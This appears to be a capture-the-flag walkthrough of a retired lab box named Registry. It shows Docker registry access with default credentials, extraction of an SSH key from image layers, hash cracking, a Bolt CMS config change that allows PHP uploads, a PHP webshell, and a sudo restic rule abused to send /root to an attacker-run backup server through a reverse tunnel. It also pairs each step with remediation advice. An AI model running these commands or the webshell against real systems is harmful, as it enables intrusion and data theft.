← all walkthroughs

Registry

Linux· Hard· Web
owned
2026-07-10
time to own
20m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a hidden Docker Registry virtual host by reading the HTTPS certificate's Common Name field, then authenticated to the registry API with the factory-default credential pair admin:admin. A private Docker image named bolt-image was downloaded layer by layer; one filesystem layer contained a root SSH private key and a vim history file that recorded its plaintext passphrase, exposing the credentials needed to log into the box as user bolt. From that shell, the Bolt CMS SQLite database was copied off the machine and the administrator password hash was cracked in seconds from a common wordlist, yielding admin's password.

Logging into the CMS admin panel, I edited the file-type allowlist to permit PHP uploads, cleared the application cache, and uploaded a one-line PHP webshell, giving remote code execution as the www-data service account. A sudo rule granted www-data passwordless access to the restic backup binary with no restriction on the backup destination; I stood up a restic REST server on my own machine, tunnelled it to the target through a reverse SSH port-forward over the existing bolt session, and used sudo restic to back up the entire /root directory into my own repository, where root.txt was read directly: full root-level data access without ever obtaining a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for admin>"

Some commands also carry a value in angle brackets (<token_from_login_page>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationSSL/TLS Certificate CN Hostname Disclosure (T1590.003)
Discovered a hidden Docker Registry vhost via the HTTPS certificate Common Name
An nmap service scan of $TARGET found SSH on 22, nginx 1.14.0 on 80, and nginx 1.14.0 on 443. Inspecting the TLS handshake on port 443 revealed a certificate whose CN field contained docker.registry.htb: a hostname not returned by reverse DNS. Adding both docker.registry.htb and registry.htb to the local resolver exposed the Docker Registry HTTP API v2 at /v2/ on the HTTPS vhost and a Bolt CMS landing page on the plain HTTP vhost. This single certificate artefact handed me a non-obvious attack surface that would have been invisible to a port scan alone.
Nmap TLS script output showed subject CN=docker.registry.htb; curl to docker.registry.htb/v2/ returned HTTP 401 Unauthorized with the Docker-Distribution-Api-Version header confirming a live registry.
Exact commands 3
shell

Enumerate services and grab the HTTPS certificate; the CN field reveals docker.registry.htb.

$ nmap -sC -sV -p 22,80,443 $TARGET
shell

Register both discovered virtual hostnames for local resolution.

$ echo "$TARGET docker.registry.htb registry.htb" | sudo tee -a /etc/hosts
shell

Confirm the Docker Registry v2 API is live; expect 401.

$ curl -sk https://docker.registry.htb/v2/ -o /dev/null -w '%{http_code}\n'
FixRestrict network access to the Docker Registry and rotate the default admin credentialCritical
WeaknessThe Docker Registry API on docker.registry.htb was reachable from the open internet and accepted the username admin with password admin, the unchanged factory default, granting any external party unauthenticated read access to every stored image, including images that contained sensitive application and infrastructure secrets.
FixPlace the registry behind a firewall or VPN so it is only reachable from trusted internal IP ranges or CI/CD runner addresses. Immediately rotate the admin password to a long, randomly generated credential stored in a secrets manager. Enable token-based authentication (via the Docker Distribution auth config) and enforce role-based access control so each service account can only access the repositories it owns. Disable anonymous pull access entirely. Audit the SSL certificate: if the registry must be internet-facing, use a Subject Alternative Name that does not expose internal hostnames, or deploy it on a separate private CA.
2EnumerationDefault Credentials (T1078.001)
Authenticated to the Docker Registry with default credentials and enumerated the image catalog
The Docker Registry API on docker.registry.htb accepted Basic authentication with username admin and password admin: the unchanged factory default. A call to /v2/_catalog returned a single repository named bolt-image. Querying /v2/bolt-image/tags/list confirmed the tag latest was available for download. This gave unauthenticated read access to every image stored in the organisation's private registry.
Curl -u admin:admin https://docker.registry.htb/v2/_catalog returned {"repositories":["bolt-image"]}; tags/list returned {"name":"bolt-image","tags":["latest"]}.
Exact commands 3
shell

List all repositories using the default admin:admin credential.

$ curl -sk -u admin:admin https://docker.registry.htb/v2/_catalog
shell

List available image tags; returns latest.

$ curl -sk -u admin:admin https://docker.registry.htb/v2/bolt-image/tags/list
shell

Pull the image manifest to retrieve all layer blob digests (fsLayers[].blobSum).

$ curl -sk -u admin:admin 'https://docker.registry.htb/v2/bolt-image/manifests/latest' -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'
3Credential AccessCredentials Embedded in Container Image Layers (T1552.001)
Extracted an SSH private key and plaintext passphrase from Docker image filesystem layers
Every filesystem layer of bolt-image was downloaded as a gzip-compressed tar blob and extracted into its own directory tree. One layer's filesystem contained /root/.ssh/id_rsa (a passphrase-protected SSH private key), /root/.ssh/id_rsa.pub (whose comment field identified the account as bolt), and /root/.viminfo: a vim session-history file that recorded the passphrase in plaintext next to a recently edited file path. These secrets were embedded at image build time and persisted immutably in the layer history, accessible to anyone who could pull the image.
Layer extraction produced fs/layer_5/root/.ssh/id_rsa and /root/.viminfo containing <withheld>.
Exact commands 5
shell

Create a working directory for layer extraction.

$ mkdir -p /tmp/registry-bolt && cd /tmp/registry-bolt
shell

Download every layer blob; each is a gzip-compressed tar archive.

$ for digest in $(curl -sk -u admin:admin 'https://docker.registry.htb/v2/bolt-image/manifests/latest' | python3 -c "import sys,json; [print(l['blobSum'].split(':')[1]) for l in json.load(sys.stdin)['fsLayers']]"); do curl -sk -u admin:admin "https://docker.registry.htb/v2/bolt-image/blobs/sha256:$digest" -o "${digest}.gz"; done
shell

Extract each blob into its own directory to reconstruct the layer filesystems.

$ for f in *.gz; do d="layer_${f%.gz}"; mkdir -p "$d"; tar -xzf "$f" -C "$d" 2>/dev/null || true; done
shell

Locate the passphrase inside .viminfo or other text files.

$ grep -r "$PASSWORD" /tmp/registry-bolt/ 2>/dev/null
shell

Locate the embedded SSH private key file.

$ find /tmp/registry-bolt -name 'id_rsa' 2>/dev/null
FixRemove secrets from Docker image layers and inject credentials at runtimeCritical
WeaknessAn SSH private key and its plaintext passphrase (stored in a vim history file baked into a filesystem layer) were embedded inside the bolt-image Docker image at build time. These artefacts persisted immutably in the layer history and were retrievable by anyone who could pull the image, which required only the default admin:admin credential.
FixAudit every Dockerfile and existing image for embedded credentials, private keys, history files (.viminfo, .bash_history, .ssh/), and sensitive configuration. Use docker history and extract and inspect all layers. Rebuild images with multi-stage builds and ensure no secret material reaches any shipped layer. Inject secrets at runtime using Docker Secrets, environment variables sourced from a vault (HashiCorp Vault, AWS Secrets Manager), or a Kubernetes Secret. Immediately rotate the bolt SSH key pair and revoke the compromised private key from all authorised_keys files.
4Initial AccessSSH Using Stolen Private Key (T1021.004)
Logged in over SSH as bolt using the key and passphrase recovered from the Docker image
The private key extracted from the Docker layer was protected by the passphrase, which had been recovered in the previous step. Removing the passphrase with ssh-keygen and presenting the key to the SSH service on $TARGET authenticated immediately as the user bolt without any brute-forcing. The user flag was present at /home/bolt/user.txt.
Hostname' succeeded.
Exact commands 4
shell

Copy and lock down the extracted private key.

$ cp /tmp/registry-bolt/layer_5/root/.ssh/id_rsa ./id_rsa.clearwork && chmod 600 ./id_rsa.clearwork
shell

Strip the passphrase so the key can be used non-interactively.

$ ssh-keygen -p -P "$PASSWORD" -N '' -f ./id_rsa.clearwork
shell

Authenticate as bolt; interactive shell on the target.

$ ssh -i ./id_rsa.clearwork bolt@$TARGET
shell

Read the user flag: <user.txt>

$ cat /home/bolt/user.txt
5Credential AccessCredential Dumping from Local Application Database (T1003)
Cracked the Bolt CMS administrator password from the world-readable on-disk database
From the bolt shell, /var/www/html/bolt contained a Bolt CMS installation. The application's SQLite database at app/database/bolt.db was readable by the bolt user. Copying it off the machine with scp and querying the bolt_users table produced a bcrypt-hashed admin password. John the Ripper cracked it against the RockYou wordlist in seconds, recovering the plaintext <withheld>. This gave authenticated access to the Bolt CMS administration panel at http://registry.htb/bolt/bolt/.
bolt.db retrieved via scp; sqlite3 dump of bolt_users yielded the admin hash; john cracked it to the password; admin login at /bolt/bolt/ confirmed.
Exact commands 3
shell

Copy the Bolt CMS SQLite database to my machine.

$ scp -i ./id_rsa.clearwork bolt@$TARGET:/var/www/html/bolt/app/database/bolt.db .
shell

Dump all usernames and password hashes from the CMS user table.

$ sqlite3 bolt.db "SELECT username, password FROM bolt_users;"
shell

Crack the extracted bcrypt hash; recovers admin:$PASSWORD3.

$ john --wordlist=/usr/share/wordlists/rockyou.txt bolt_hashes.txt
FixEnforce strong passwords for all CMS administrator accounts and restrict the admin panel to internal networksHigh
WeaknessThe Bolt CMS admin account used the dictionary word <withheld> as its password. The bcrypt hash stored in the on-disk SQLite database was cracked in seconds against a standard wordlist once an unauthorised user obtained a copy of the file, granting full CMS administration and the ability to modify application configuration and upload files.
FixReset the Bolt admin password to a randomly generated string of at least 16 characters and record it only in a password manager. Enable multi-factor authentication on the admin panel if the CMS version supports it (or add a plugin that does). Restrict the /bolt/bolt/ path in nginx to internal IP ranges or require VPN access, so the admin login page is never exposed to the internet. Audit all other CMS accounts and remove or disable any that are unused.
6ExploitationCMS Misconfiguration → Server-Side Webshell Upload (T1505.003)
Uploaded a PHP webshell after enabling PHP in the Bolt CMS file-type allowlist
Authenticated as admin with the password at /bolt/bolt/, the Configuration > Main Configuration editor provided a web-based text editor for config.yml. The accept_file_types key was modified to include the php extension and saved via HTTP POST: the server confirmed the change with an explicit success response. The Bolt application cache was then flushed via /bolt/bolt/clearcache so the new allowlist took effect for subsequent uploads. A PHP webshell (<?php system($_GET["cmd"]);?>) was uploaded through the File Manager and landed at /bolt/files/shell.php. A curl request with a cmd parameter returned uid=33(www-data), confirming server-side remote code execution as the web application service account.
HTTP POST to save config.yml returned {"ok":true,"msg":"File 'config.yml' has been saved.","datechanged":"2026-07-11T00:44:01+00:00"}; cache cleared; 'File shell.php was uploaded successfully.'; shell reachable at /bolt/files/shell.php.
Exact commands 5
shell

Log into the Bolt admin panel; capture the session cookie in bolt.jar. Retrieve the CSRF token from a GET of /bolt/bolt/login first.

$ curl -sk -c bolt.jar -b bolt.jar -X POST 'http://registry.htb/bolt/bolt/login' --data "username=admin&password=$PASSWORD3&_csrf_token=<token_from_login_page>"
shell

Save the modified config.yml that includes php in accept_file_types. Prepare config_with_php.yml by adding php to the extension list.

$ curl -sk -c bolt.jar -b bolt.jar -X POST 'http://registry.htb/bolt/bolt/file/edit/config/config.yml' --data-urlencode 'contents@config_with_php.yml'
shell

Clear the Bolt application cache so the new upload allowlist takes effect.

$ curl -sk -c bolt.jar -b bolt.jar 'http://registry.htb/bolt/bolt/clearcache'
shell

Upload the PHP webshell through the Bolt File Manager.

$ echo '<?php system($_GET["cmd"]);?>' > shell.php && curl -sk -c bolt.jar -b bolt.jar -F 'files[]=@shell.php' 'http://registry.htb/bolt/bolt/async/upload?path=%2F'
shell

Confirm RCE; expect uid=33(www-data).

$ curl -sk 'http://registry.htb/bolt/files/shell.php?cmd=id'
FixLock the Bolt CMS file-type allowlist to non-executable extensions and prevent in-browser config editingCritical
WeaknessA logged-in Bolt CMS administrator could add the php extension to the accept_file_types allowlist through the web-based Configuration editor, then immediately upload and execute server-side PHP through the File Manager, turning a compromised admin account into full remote code execution as the www-data service account with no additional steps.
FixSet accept_file_types in config.yml to the minimum set of non-executable extensions the site genuinely needs (images, CSS, JS, PDFs only) and never include php, phtml, or any other server-executable extension. Make config.yml owned by root and read-only to the web process (chown root:www-data config.yml; chmod 640 config.yml) so the running application cannot overwrite it at all. In nginx, add a location block for /bolt/files/ that denies execution of .php files (deny all on location ~\.php$). Review uploaded files periodically for unexpected content. Consider disabling the web-based config editor entirely in production and deploying configuration changes through your deployment pipeline.
7Privilege EscalationSudo Abuse: Backup Tool Exfiltration (T1548.003)
Abused a passwordless sudo restic rule to exfiltrate /root via my own backup server
Running sudo -l as www-data revealed a sudoers rule allowing /usr/bin/restic backup to be run as root without a password, with no restriction on source paths or destination URLs. The target's installed restic was version 0.8.3: an old release that rejected repositories created by newer client versions with an 'unsupported repository version' error. To work around this, a restic REST server was started on Kali using the official restic/rest-server Docker image in no-auth mode, and the repository was initialised using the matching restic 0.8.3 client image. Because outbound connections from the target were blocked, I added a reverse SSH port-forward to the existing bolt session (-R 8000:127.0.0.1:8000), making the Kali rest-server reachable from the target at 127.0.0.1:8000. The webshell was then used to run sudo restic backup -r rest:http://127.0.0.1:8000/ /root as www-data. The resulting snapshot was restored on Kali and /root/root.txt was read: full root-level data access without a root shell.
Sudo -l confirmed (root) NOPASSWD: /usr/bin/restic backup *; target restic is 0.8.3 (confirmed); repo 67617c82b1 created at rest:http://127.0.0.1:8000/.
Exact commands 7
shell

Confirm the sudo rule: (root) NOPASSWD: /usr/bin/restic backup * -r rest:*

$ curl -sk 'http://registry.htb/bolt/files/shell.php?cmd=sudo+-l'
shell

Start the restic REST server on Kali in no-auth mode, bound to localhost only.

$ docker run -d -p 127.0.0.1:8000:8000 --name rest_server -v /tmp/repo:/data --entrypoint rest-server restic/rest-server --path /data --no-auth
shell

Initialise the repo using the same restic 0.8.3 version as the target to avoid version mismatch.

$ export RESTIC_PASSWORD=$PASSWORD2 && docker run --rm --network host -e RESTIC_PASSWORD restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ init
shell

Open a reverse port-forward: TCP 127.0.0.1:8000 on the target forwards to Kali's rest-server.

$ ssh -i ./id_rsa.clearwork -R 8000:127.0.0.1:8000 -N bolt@$TARGET &
shell

Trigger the backup of /root as root via the webshell; www-data uses the sudo rule.

$ curl -sk "http://registry.htb/bolt/files/shell.php?cmd=export+RESTIC_PASSWORD%3D$PASSWORD2%3Bsudo+/usr/bin/restic+backup+-r+rest%3Ahttp%3A%2F%2F127.0.0.1%3A8000%2F+/root"
shell

List snapshots on Kali to confirm the /root backup landed.

$ docker run --rm --network host -e RESTIC_PASSWORD=$PASSWORD2 restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ snapshots
shell

Restore the snapshot and read root.txt: <root.txt>

$ docker run --rm --network host -e RESTIC_PASSWORD=$PASSWORD2 -v /tmp/restic-restore:/restore restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ restore latest --target /restore && cat /tmp/restic-restore/root/root.txt
FixRemove the unrestricted sudo restic rule and implement least-privilege backup designCritical
WeaknessThe sudoers configuration allowed the www-data web server account to execute /usr/bin/restic backup as root without a password, with no restriction on the source path or the backup destination URL. Anyone who gained code execution as www-data could therefore direct restic to back up arbitrary root-owned paths, including /root, to an externally controlled server, reading all privileged files without ever obtaining an interactive root shell.
FixRemove the sudo restic rule immediately. If automated backups of privileged paths are required, implement them as a root-owned cron job or a dedicated system service that runs under its own service account. Never delegate root backup capability to a web server process. If restic must be retained, write a narrow wrapper script owned by root that hard-codes both the source path and the destination to a specific organisation-controlled URL, grants sudo only to that wrapper, and logs every invocation. Additionally, audit all sudoers entries for other dangerous tool delegations (tar, cp, rsync, curl, wget, python, and similar utilities that can read or write arbitrary files).

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
443/tcp